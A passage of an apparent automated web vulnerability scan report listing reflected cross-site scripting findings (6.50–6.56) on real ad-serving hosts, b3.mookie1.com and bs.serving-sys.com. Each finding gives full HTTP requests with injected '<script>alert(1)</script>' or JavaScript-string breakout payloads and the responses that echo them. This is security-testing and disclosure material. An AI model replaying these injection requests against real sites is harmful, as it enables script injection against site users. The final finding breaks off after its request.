Referer: http://ib.adnxs.com/if?enc=mpmZmZmZuT-amZmZmZm5PwAAAEAzMwdAmpmZmZmZuT-amZmZmZm5P6UyfF9C5ox7SsYda6b2ziXXP7RNAAAAAD8wAAC1AAAAbAEAAAIAAACAbAIA0WMAAAEAAABVU0QAVVNEAKAAWAIbC0sAHQ8BAgUCAAQAAAAAfCQDXwAAAAA.&pubclick=http://googleads.g.doubleclick.net/aclk?sa%3Dl%26ai%3DBLQcy1z-0TfvdJsPplQf-o8nfAsDG1PcB6LqfjxvwmZTrRAAQARgBIAA4AVCAx-HEBGDJ7oOI8KPsEoIBF2NhLXB1Yi02ODg4MDY1NjY4MjkyNjM4sgEXcHViLnJldGFpbGVyLWFtYXpvbi5uZXS6AQoxNjB4NjAwX2FzyAEJ2gFJaHR0cDovL3B1Yi5yZXRhaWxlci1hbWF6b24ubmV0L2Jhbm5lcl8xMjBfNjAwX2IucGhwP3NlYXJjaD0lN0Ika2V5d29yZCU3RJgCZMACBMgCqKikGagDAegDvAHoA5QC9QMAAADEgAaE3ZXQ39aT7_wB%26num%3D1%26sig%3DAGiWqtw1gQzvrLVnYgFBPfZb69xRqA_qVw%26client%3Dca-pub-6888065668292638%26adurl%3D&tt_code=vert-188&udj=uf%28%27a%27%2C+8044%2C+1303658468%29%3Buf%28%27c%27%2C+43438%2C+1303658468%29%3Buf%28%27r%27%2C+158848%2C+1303658468%29%3Bppv%288484%2C+%278902743736148832933%27%2C+1303658468%2C+1304263268%2C+43438%2C+25553%29%3Bppv%288484%2C+%278902743736148832933%27%2C+1303658468%2C+1304263268%2C+43438%2C+25553%29%3B&cnd=!pBxEcQiu0wIQgNkJGAAg0ccBKEsxmpmZmZmZuT9CEwgAEAAYACABKP7__________wFCDgikQhCN75EDGBEgAygCQgsIpEIQABgAIAIoAkgDUABYmxZgAGjsAg..&referrer=http://pub.retailer-amazon.net/banner_120_600_b.php
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW802rT5oABV/F; other_20110126=set; Dominos=247B3; id=914804995789526; RMFM=011QD4ETU10CWN; NXCLICK2=011QD4ETNX_TRACK_Radioshack/Magnetic/DYN2011Q1/M_COM/1x1/1[timestamp]!y!B3!CWN!EUV; RMFL=011QD4ETU107OI|U107OK; NSC_o4efm_qppm_iuuq=ffffffff09419e5545525d5f4f58455e445a4a423660; PizzaHut=ZapTrader

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 15:30:30 GMT
Server: Apache/2.2.3 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 350
Content-Type: text/html

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/ZapTrader/PizzaHut_2H/201008/18-49/All/1628408510/x90a7bd8"><script>alert(1)</script>f004eba3524/default/empty.gif/726348573830327254356f4142562f46?x" target="_top">
...[SNIP]...

6.50. http://b3.mookie1.com/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658466@x90 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b3.mookie1.com
Path:	/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658466@x90

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bc536"><script>alert(1)</script>fb81650d435 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/ZapTraderbc536"><script>alert(1)</script>fb81650d435/PizzaHut_2H/201008/18-49/All/11303658466@x90 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://ib.adnxs.com/if?enc=mpmZmZmZuT-amZmZmZm5PwAAAEAzMwdAmpmZmZmZuT-amZmZmZm5P_mQR_AAUHosSsYda6b2ziXiP7RNAAAAAD8wAAC1AAAAbAEAAAIAAACAbAIA0WMAAAEAAABVU0QAVVNEAKAAWAIbC0sA2wsBAgUCAAQAAAAAFiXDZgAAAAA.&pubclick=http://googleads.g.doubleclick.net/aclk?sa%3Dl%26ai%3DBLYO64j-0TcqVDpD9lQfd4szFAsDG1PcB6LqfjxvwmZTrRAAQARgBIAA4AVCAx-HEBGDJ7oOI8KPsEoIBF2NhLXB1Yi02ODg4MDY1NjY4MjkyNjM4sgEXcHViLnJldGFpbGVyLWFtYXpvbi5uZXS6AQoxNjB4NjAwX2FzyAEJ2gFJaHR0cDovL3B1Yi5yZXRhaWxlci1hbWF6b24ubmV0L2Jhbm5lcl8xMjBfNjAwX2IucGhwP3NlYXJjaD0lN0Ika2V5d29yZCU3RJgCZMACBMgCqKikGagDAegDvAHoA5QC9QMAAADEgAaE3ZXQ39aT7_wB%26num%3D1%26sig%3DAGiWqtwWDCnkP1am4XiC_5n1P5ao4AdRrg%26client%3Dca-pub-6888065668292638%26adurl%3D&tt_code=vert-188&udj=uf%28%27a%27%2C+8044%2C+1303658466%29%3Buf%28%27c%27%2C+43438%2C+1303658466%29%3Buf%28%27r%27%2C+158848%2C+1303658466%29%3Bppv%288484%2C+%273204962049788973305%27%2C+1303658466%2C+1304263266%2C+43438%2C+25553%29%3Bppv%288484%2C+%273204962049788973305%27%2C+1303658466%2C+1304263266%2C+43438%2C+25553%29%3B&cnd=!vRxSdAiu0wIQgNkJGAAg0ccBKEsxmpmZmZmZuT9CEwgAEAAYACABKP7__________wFCDgikQhCshfYCGBEgAygCQgsIpEIQABgAIAIoAkgDUABYmxZgAGjsAg..&referrer=http://pub.retailer-amazon.net/banner_120_600_b.php
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW802rT5oABV/F; other_20110126=set; Dominos=247B3; id=914804995789526; RMFM=011QD4ETU10CWN; NXCLICK2=011QD4ETNX_TRACK_Radioshack/Magnetic/DYN2011Q1/M_COM/1x1/1[timestamp]!y!B3!CWN!EUV; RMFL=011QD4ETU107OI|U107OK; NSC_o4efm_qppm_iuuq=ffffffff09419e5545525d5f4f58455e445a4a423660; PizzaHut=ZapTrader

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 15:30:36 GMT
Server: Apache/2.2.3 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 357
Content-Type: text/html

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/ZapTraderbc536"><script>alert(1)</script>fb81650d435/PizzaHut_2H/201008/18-49/All/457266541/x90/default/empty.gif/726348573830327254356f4142562f46?x" target="_top">
...[SNIP]...

6.51. http://b3.mookie1.com/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658466@x90 [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b3.mookie1.com
Path:	/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658466@x90

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5ec85"><script>alert(1)</script>df5ffb3524b was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/ZapTrader/PizzaHut_2H5ec85"><script>alert(1)</script>df5ffb3524b/201008/18-49/All/11303658466@x90 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://ib.adnxs.com/if?enc=mpmZmZmZuT-amZmZmZm5PwAAAEAzMwdAmpmZmZmZuT-amZmZmZm5P_mQR_AAUHosSsYda6b2ziXiP7RNAAAAAD8wAAC1AAAAbAEAAAIAAACAbAIA0WMAAAEAAABVU0QAVVNEAKAAWAIbC0sA2wsBAgUCAAQAAAAAFiXDZgAAAAA.&pubclick=http://googleads.g.doubleclick.net/aclk?sa%3Dl%26ai%3DBLYO64j-0TcqVDpD9lQfd4szFAsDG1PcB6LqfjxvwmZTrRAAQARgBIAA4AVCAx-HEBGDJ7oOI8KPsEoIBF2NhLXB1Yi02ODg4MDY1NjY4MjkyNjM4sgEXcHViLnJldGFpbGVyLWFtYXpvbi5uZXS6AQoxNjB4NjAwX2FzyAEJ2gFJaHR0cDovL3B1Yi5yZXRhaWxlci1hbWF6b24ubmV0L2Jhbm5lcl8xMjBfNjAwX2IucGhwP3NlYXJjaD0lN0Ika2V5d29yZCU3RJgCZMACBMgCqKikGagDAegDvAHoA5QC9QMAAADEgAaE3ZXQ39aT7_wB%26num%3D1%26sig%3DAGiWqtwWDCnkP1am4XiC_5n1P5ao4AdRrg%26client%3Dca-pub-6888065668292638%26adurl%3D&tt_code=vert-188&udj=uf%28%27a%27%2C+8044%2C+1303658466%29%3Buf%28%27c%27%2C+43438%2C+1303658466%29%3Buf%28%27r%27%2C+158848%2C+1303658466%29%3Bppv%288484%2C+%273204962049788973305%27%2C+1303658466%2C+1304263266%2C+43438%2C+25553%29%3Bppv%288484%2C+%273204962049788973305%27%2C+1303658466%2C+1304263266%2C+43438%2C+25553%29%3B&cnd=!vRxSdAiu0wIQgNkJGAAg0ccBKEsxmpmZmZmZuT9CEwgAEAAYACABKP7__________wFCDgikQhCshfYCGBEgAygCQgsIpEIQABgAIAIoAkgDUABYmxZgAGjsAg..&referrer=http://pub.retailer-amazon.net/banner_120_600_b.php
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW802rT5oABV/F; other_20110126=set; Dominos=247B3; id=914804995789526; RMFM=011QD4ETU10CWN; NXCLICK2=011QD4ETNX_TRACK_Radioshack/Magnetic/DYN2011Q1/M_COM/1x1/1[timestamp]!y!B3!CWN!EUV; RMFL=011QD4ETU107OI|U107OK; NSC_o4efm_qppm_iuuq=ffffffff09419e5545525d5f4f58455e445a4a423660; PizzaHut=ZapTrader

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 15:30:38 GMT
Server: Apache/2.2.3 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 357
Content-Type: text/html

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/ZapTrader/PizzaHut_2H5ec85"><script>alert(1)</script>df5ffb3524b/201008/18-49/All/938540333/x90/default/empty.gif/726348573830327254356f4142562f46?x" target="_top">
...[SNIP]...

6.52. http://b3.mookie1.com/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658466@x90 [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b3.mookie1.com
Path:	/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658466@x90

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 17909"><script>alert(1)</script>e7aa5c9187 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/ZapTrader/PizzaHut_2H/20100817909"><script>alert(1)</script>e7aa5c9187/18-49/All/11303658466@x90 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://ib.adnxs.com/if?enc=mpmZmZmZuT-amZmZmZm5PwAAAEAzMwdAmpmZmZmZuT-amZmZmZm5P_mQR_AAUHosSsYda6b2ziXiP7RNAAAAAD8wAAC1AAAAbAEAAAIAAACAbAIA0WMAAAEAAABVU0QAVVNEAKAAWAIbC0sA2wsBAgUCAAQAAAAAFiXDZgAAAAA.&pubclick=http://googleads.g.doubleclick.net/aclk?sa%3Dl%26ai%3DBLYO64j-0TcqVDpD9lQfd4szFAsDG1PcB6LqfjxvwmZTrRAAQARgBIAA4AVCAx-HEBGDJ7oOI8KPsEoIBF2NhLXB1Yi02ODg4MDY1NjY4MjkyNjM4sgEXcHViLnJldGFpbGVyLWFtYXpvbi5uZXS6AQoxNjB4NjAwX2FzyAEJ2gFJaHR0cDovL3B1Yi5yZXRhaWxlci1hbWF6b24ubmV0L2Jhbm5lcl8xMjBfNjAwX2IucGhwP3NlYXJjaD0lN0Ika2V5d29yZCU3RJgCZMACBMgCqKikGagDAegDvAHoA5QC9QMAAADEgAaE3ZXQ39aT7_wB%26num%3D1%26sig%3DAGiWqtwWDCnkP1am4XiC_5n1P5ao4AdRrg%26client%3Dca-pub-6888065668292638%26adurl%3D&tt_code=vert-188&udj=uf%28%27a%27%2C+8044%2C+1303658466%29%3Buf%28%27c%27%2C+43438%2C+1303658466%29%3Buf%28%27r%27%2C+158848%2C+1303658466%29%3Bppv%288484%2C+%273204962049788973305%27%2C+1303658466%2C+1304263266%2C+43438%2C+25553%29%3Bppv%288484%2C+%273204962049788973305%27%2C+1303658466%2C+1304263266%2C+43438%2C+25553%29%3B&cnd=!vRxSdAiu0wIQgNkJGAAg0ccBKEsxmpmZmZmZuT9CEwgAEAAYACABKP7__________wFCDgikQhCshfYCGBEgAygCQgsIpEIQABgAIAIoAkgDUABYmxZgAGjsAg..&referrer=http://pub.retailer-amazon.net/banner_120_600_b.php
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW802rT5oABV/F; other_20110126=set; Dominos=247B3; id=914804995789526; RMFM=011QD4ETU10CWN; NXCLICK2=011QD4ETNX_TRACK_Radioshack/Magnetic/DYN2011Q1/M_COM/1x1/1[timestamp]!y!B3!CWN!EUV; RMFL=011QD4ETU107OI|U107OK; NSC_o4efm_qppm_iuuq=ffffffff09419e5545525d5f4f58455e445a4a423660; PizzaHut=ZapTrader

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 15:30:41 GMT
Server: Apache/2.2.3 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 357
Content-Type: text/html

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/ZapTrader/PizzaHut_2H/20100817909"><script>alert(1)</script>e7aa5c9187/18-49/All/1536739472/x90/default/empty.gif/726348573830327254356f4142562f46?x" target="_top">
...[SNIP]...

6.53. http://b3.mookie1.com/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658466@x90 [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b3.mookie1.com
Path:	/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658466@x90

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 84068"><script>alert(1)</script>d77015b57b8 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/ZapTrader/PizzaHut_2H/201008/18-4984068"><script>alert(1)</script>d77015b57b8/All/11303658466@x90 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://ib.adnxs.com/if?enc=mpmZmZmZuT-amZmZmZm5PwAAAEAzMwdAmpmZmZmZuT-amZmZmZm5P_mQR_AAUHosSsYda6b2ziXiP7RNAAAAAD8wAAC1AAAAbAEAAAIAAACAbAIA0WMAAAEAAABVU0QAVVNEAKAAWAIbC0sA2wsBAgUCAAQAAAAAFiXDZgAAAAA.&pubclick=http://googleads.g.doubleclick.net/aclk?sa%3Dl%26ai%3DBLYO64j-0TcqVDpD9lQfd4szFAsDG1PcB6LqfjxvwmZTrRAAQARgBIAA4AVCAx-HEBGDJ7oOI8KPsEoIBF2NhLXB1Yi02ODg4MDY1NjY4MjkyNjM4sgEXcHViLnJldGFpbGVyLWFtYXpvbi5uZXS6AQoxNjB4NjAwX2FzyAEJ2gFJaHR0cDovL3B1Yi5yZXRhaWxlci1hbWF6b24ubmV0L2Jhbm5lcl8xMjBfNjAwX2IucGhwP3NlYXJjaD0lN0Ika2V5d29yZCU3RJgCZMACBMgCqKikGagDAegDvAHoA5QC9QMAAADEgAaE3ZXQ39aT7_wB%26num%3D1%26sig%3DAGiWqtwWDCnkP1am4XiC_5n1P5ao4AdRrg%26client%3Dca-pub-6888065668292638%26adurl%3D&tt_code=vert-188&udj=uf%28%27a%27%2C+8044%2C+1303658466%29%3Buf%28%27c%27%2C+43438%2C+1303658466%29%3Buf%28%27r%27%2C+158848%2C+1303658466%29%3Bppv%288484%2C+%273204962049788973305%27%2C+1303658466%2C+1304263266%2C+43438%2C+25553%29%3Bppv%288484%2C+%273204962049788973305%27%2C+1303658466%2C+1304263266%2C+43438%2C+25553%29%3B&cnd=!vRxSdAiu0wIQgNkJGAAg0ccBKEsxmpmZmZmZuT9CEwgAEAAYACABKP7__________wFCDgikQhCshfYCGBEgAygCQgsIpEIQABgAIAIoAkgDUABYmxZgAGjsAg..&referrer=http://pub.retailer-amazon.net/banner_120_600_b.php
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW802rT5oABV/F; other_20110126=set; Dominos=247B3; id=914804995789526; RMFM=011QD4ETU10CWN; NXCLICK2=011QD4ETNX_TRACK_Radioshack/Magnetic/DYN2011Q1/M_COM/1x1/1[timestamp]!y!B3!CWN!EUV; RMFL=011QD4ETU107OI|U107OK; NSC_o4efm_qppm_iuuq=ffffffff09419e5545525d5f4f58455e445a4a423660; PizzaHut=ZapTrader

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 15:30:43 GMT
Server: Apache/2.2.3 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 357
Content-Type: text/html

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/ZapTrader/PizzaHut_2H/201008/18-4984068"><script>alert(1)</script>d77015b57b8/All/922055685/x90/default/empty.gif/726348573830327254356f4142562f46?x" target="_top">
...[SNIP]...

6.54. http://b3.mookie1.com/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658466@x90 [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b3.mookie1.com
Path:	/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658466@x90

Issue detail

The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4fdc7"><script>alert(1)</script>a212e1ad9d was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/ZapTrader/PizzaHut_2H/201008/18-49/All4fdc7"><script>alert(1)</script>a212e1ad9d/11303658466@x90 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://ib.adnxs.com/if?enc=mpmZmZmZuT-amZmZmZm5PwAAAEAzMwdAmpmZmZmZuT-amZmZmZm5P_mQR_AAUHosSsYda6b2ziXiP7RNAAAAAD8wAAC1AAAAbAEAAAIAAACAbAIA0WMAAAEAAABVU0QAVVNEAKAAWAIbC0sA2wsBAgUCAAQAAAAAFiXDZgAAAAA.&pubclick=http://googleads.g.doubleclick.net/aclk?sa%3Dl%26ai%3DBLYO64j-0TcqVDpD9lQfd4szFAsDG1PcB6LqfjxvwmZTrRAAQARgBIAA4AVCAx-HEBGDJ7oOI8KPsEoIBF2NhLXB1Yi02ODg4MDY1NjY4MjkyNjM4sgEXcHViLnJldGFpbGVyLWFtYXpvbi5uZXS6AQoxNjB4NjAwX2FzyAEJ2gFJaHR0cDovL3B1Yi5yZXRhaWxlci1hbWF6b24ubmV0L2Jhbm5lcl8xMjBfNjAwX2IucGhwP3NlYXJjaD0lN0Ika2V5d29yZCU3RJgCZMACBMgCqKikGagDAegDvAHoA5QC9QMAAADEgAaE3ZXQ39aT7_wB%26num%3D1%26sig%3DAGiWqtwWDCnkP1am4XiC_5n1P5ao4AdRrg%26client%3Dca-pub-6888065668292638%26adurl%3D&tt_code=vert-188&udj=uf%28%27a%27%2C+8044%2C+1303658466%29%3Buf%28%27c%27%2C+43438%2C+1303658466%29%3Buf%28%27r%27%2C+158848%2C+1303658466%29%3Bppv%288484%2C+%273204962049788973305%27%2C+1303658466%2C+1304263266%2C+43438%2C+25553%29%3Bppv%288484%2C+%273204962049788973305%27%2C+1303658466%2C+1304263266%2C+43438%2C+25553%29%3B&cnd=!vRxSdAiu0wIQgNkJGAAg0ccBKEsxmpmZmZmZuT9CEwgAEAAYACABKP7__________wFCDgikQhCshfYCGBEgAygCQgsIpEIQABgAIAIoAkgDUABYmxZgAGjsAg..&referrer=http://pub.retailer-amazon.net/banner_120_600_b.php
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW802rT5oABV/F; other_20110126=set; Dominos=247B3; id=914804995789526; RMFM=011QD4ETU10CWN; NXCLICK2=011QD4ETNX_TRACK_Radioshack/Magnetic/DYN2011Q1/M_COM/1x1/1[timestamp]!y!B3!CWN!EUV; RMFL=011QD4ETU107OI|U107OK; NSC_o4efm_qppm_iuuq=ffffffff09419e5545525d5f4f58455e445a4a423660; PizzaHut=ZapTrader

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 15:30:45 GMT
Server: Apache/2.2.3 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 357
Content-Type: text/html

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/ZapTrader/PizzaHut_2H/201008/18-49/All4fdc7"><script>alert(1)</script>a212e1ad9d/1461025684/x90/default/empty.gif/726348573830327254356f4142562f46?x" target="_top">
...[SNIP]...

6.55. http://b3.mookie1.com/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658466@x90 [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b3.mookie1.com
Path:	/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658466@x90

Issue detail

The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 42251"><script>alert(1)</script>bf7ed0eb8b5 was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658466@x9042251"><script>alert(1)</script>bf7ed0eb8b5 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://ib.adnxs.com/if?enc=mpmZmZmZuT-amZmZmZm5PwAAAEAzMwdAmpmZmZmZuT-amZmZmZm5P_mQR_AAUHosSsYda6b2ziXiP7RNAAAAAD8wAAC1AAAAbAEAAAIAAACAbAIA0WMAAAEAAABVU0QAVVNEAKAAWAIbC0sA2wsBAgUCAAQAAAAAFiXDZgAAAAA.&pubclick=http://googleads.g.doubleclick.net/aclk?sa%3Dl%26ai%3DBLYO64j-0TcqVDpD9lQfd4szFAsDG1PcB6LqfjxvwmZTrRAAQARgBIAA4AVCAx-HEBGDJ7oOI8KPsEoIBF2NhLXB1Yi02ODg4MDY1NjY4MjkyNjM4sgEXcHViLnJldGFpbGVyLWFtYXpvbi5uZXS6AQoxNjB4NjAwX2FzyAEJ2gFJaHR0cDovL3B1Yi5yZXRhaWxlci1hbWF6b24ubmV0L2Jhbm5lcl8xMjBfNjAwX2IucGhwP3NlYXJjaD0lN0Ika2V5d29yZCU3RJgCZMACBMgCqKikGagDAegDvAHoA5QC9QMAAADEgAaE3ZXQ39aT7_wB%26num%3D1%26sig%3DAGiWqtwWDCnkP1am4XiC_5n1P5ao4AdRrg%26client%3Dca-pub-6888065668292638%26adurl%3D&tt_code=vert-188&udj=uf%28%27a%27%2C+8044%2C+1303658466%29%3Buf%28%27c%27%2C+43438%2C+1303658466%29%3Buf%28%27r%27%2C+158848%2C+1303658466%29%3Bppv%288484%2C+%273204962049788973305%27%2C+1303658466%2C+1304263266%2C+43438%2C+25553%29%3Bppv%288484%2C+%273204962049788973305%27%2C+1303658466%2C+1304263266%2C+43438%2C+25553%29%3B&cnd=!vRxSdAiu0wIQgNkJGAAg0ccBKEsxmpmZmZmZuT9CEwgAEAAYACABKP7__________wFCDgikQhCshfYCGBEgAygCQgsIpEIQABgAIAIoAkgDUABYmxZgAGjsAg..&referrer=http://pub.retailer-amazon.net/banner_120_600_b.php
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW802rT5oABV/F; other_20110126=set; Dominos=247B3; id=914804995789526; RMFM=011QD4ETU10CWN; NXCLICK2=011QD4ETNX_TRACK_Radioshack/Magnetic/DYN2011Q1/M_COM/1x1/1[timestamp]!y!B3!CWN!EUV; RMFL=011QD4ETU107OI|U107OK; NSC_o4efm_qppm_iuuq=ffffffff09419e5545525d5f4f58455e445a4a423660; PizzaHut=ZapTrader

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 15:30:47 GMT
Server: Apache/2.2.3 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 349
Content-Type: text/html

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/ZapTrader/PizzaHut_2H/201008/18-49/All/932761797/x9042251"><script>alert(1)</script>bf7ed0eb8b5/default/empty.gif/726348573830327254356f4142562f46?x" target="_top">
...[SNIP]...

6.56. http://bs.serving-sys.com/BurstingPipe/adServer.bs [ifl parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://bs.serving-sys.com
Path:	/BurstingPipe/adServer.bs

Issue detail

The value of the ifl request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b1d44"%3balert(1)//f5b11ca5280 was submitted in the ifl parameter. This input was echoed as b1d44";alert(1)//f5b11ca5280 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /BurstingPipe/adServer.bs?cn=rsb&c=28&pli=2419013&PluID=0&w=300&h=250&ord=4783842&ifrm=1&ucm=true&ifl=$$http://www.pcworld.com/eyeblaster/addineyeV2.html$$b1d44"%3balert(1)//f5b11ca5280&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3af3/3/0/%2a/s%3B237554731%3B0-0%3B0%3B28183772%3B4252-336/280%3B41666872/41684659/1%3B%3B%7Eaopt%3D2/1/64/0%3B%7Esscs%3D%3f$$ HTTP/1.1
Host: bs.serving-sys.com
Proxy-Connection: keep-alive
Referer: http://ad.doubleclick.net/adi/pcw.main.news/topics/consumer_advice/article;pg=article;aid=149142;c=2206;c=1746;c=2210;pos=2-336showcase;tile=9;sz=336x280;ord=02880823?;c=win7
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
